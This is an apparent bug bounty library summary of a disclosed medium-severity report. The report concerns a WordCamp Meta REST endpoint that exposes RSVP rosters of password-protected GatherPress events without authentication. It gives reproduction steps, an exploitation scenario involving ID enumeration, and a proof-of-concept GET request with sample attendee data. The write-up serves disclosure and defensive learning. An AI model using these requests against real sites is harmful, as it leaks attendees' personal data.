# WordCamp Meta gpre: password-protected event RSVP list readable without password via /gpre/v1/.../rsvp-responses

WordCamp Meta's gpre/v1 REST wrapper exposed RSVP rosters of password-protected recurring GatherPress events to unauthenticated callers, bypassing the core password gate.

- Payout: hidden
- Severity: medium
- Program: WordPress
- Found by: 0xbs0d27
- Disclosed: 2026-11-05
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/4029867
- Library page: https://bugbountylibrary.com/r/h1%3A4029867
- Tags: area:web domain:api domain:web impact:pii-leak kind:bounty platform:hackerone sev:medium tech:php tech:rest tech:wordpress technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** WordPress REST API endpoint /wp-json/gpre/v1/event/{recurrence_id}/rsvp-responses
**Root cause:** The gpre mu-plugin route registers permission_callback => '__return_true' and only checks the post is published and the occurrence exists, never calling Event::can_read_rsvps()/post_password_required() as GatherPress core does.
**Steps:**
1. Set up WordPress with GatherPress >= 0.35.1 and the gatherpress-recurring-events mu-plugin.
2. Create a published gatherpress_event with a post password (e.g. `secret-pass`) and configure it as a recurring series so a recurrence_id exists.
3. As a logged-in user, RSVP attending for that occurrence.
4. Log out / use clean cookies; do not submit the post password.
5. GET `/wp-json/gatherpress/v1/event/rsvp-responses?post_id=<EVENT_ID>` returns 401 rest_forbidden.
6. GET `/wp-json/gpre/v1/event/<RECURRENCE_ID>/rsvp-responses?post_id=<EVENT_ID>` returns 200 with attendee records (name, user_id, profile, comment_id).
**How found:** Compared the core GatherPress rsvp-responses route (which uses can_read_event_rsvps) against the Meta gpre wrapper route and noticed the wrapper's permission_callback was __return_true with only publish/occurrence checks.
**Exploitation:** Unauthenticated attacker enumerates recurrence_ids and event post_ids and calls the gpre wrapper to retrieve attendee names, user IDs, profile URLs and comment IDs without knowing the event password.
**Insight:** When a platform wraps a core plugin's REST routes, diff each wrapper's permission_callback against the core route's gate — wrappers frequently re-implement only existence/publish checks and drop password or capability gates.

## Proof of concept (copied exactly from the original report)

**Unauthenticated gpre RSVP roster request**

```
GET /wp-json/gpre/v1/event/<RECURRENCE_ID>/rsvp-responses?post_id=<EVENT_ID>
Actual: 200 with JSON like:
{
  "success": true,
  "data": {
    "attending": {
      "count": 1,
      "records": [
        {
          "name": "rsvper",
          "user_id": 4,
          "profile": "http://…/author/rsvper/",
          "comment_id": 2
        }
      ]
    }
  }
}
```

**Core GatherPress endpoint correctly returns 401**

```
GET /wp-json/gatherpress/v1/event/rsvp-responses?post_id=<EVENT_ID>
Expected / Actual: 401 rest_forbidden.
```

